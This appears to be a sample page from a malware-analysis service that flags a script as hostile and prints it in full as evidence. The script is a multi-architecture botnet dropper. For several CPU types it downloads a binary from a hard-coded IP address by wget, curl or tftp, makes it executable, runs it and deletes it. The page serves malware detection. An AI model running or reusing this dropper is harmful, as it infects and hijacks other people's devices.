Hostile 100% Download

aaf033f60ef8d1f4e60029db61888d4fbd3d9f2177352b97862ad5e4482e418e.unknown

Downloads and executes remote binaries

Multi-architecture protocol fallback executionLocal ./ file invocation
SHA-256aaf033f60ef8d1f4e60029db61888d4fbd3d9f2177352b97862ad5e4482e418e
MaleculeO₃(C₃DyXe)H₄(Cm₆F₄OsPo₂)

Evidence

TFTP command invocation lines 1–10
1binarys="mips mpsl arm7 arm arm6 arm5 ppc sh4"
2server_ip="45.202.35.24"
3for arch in $binarys
4do
5rm -rf $arch
6wget http://$server_ip/$arch || curl -O http://$server_ip/$arch || tftp $server_ip -c get $arch || tftp -g -r $arch $server_ip
7chmod 777 $arch
8./$arch jaws
9rm -rf $arch
10done

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.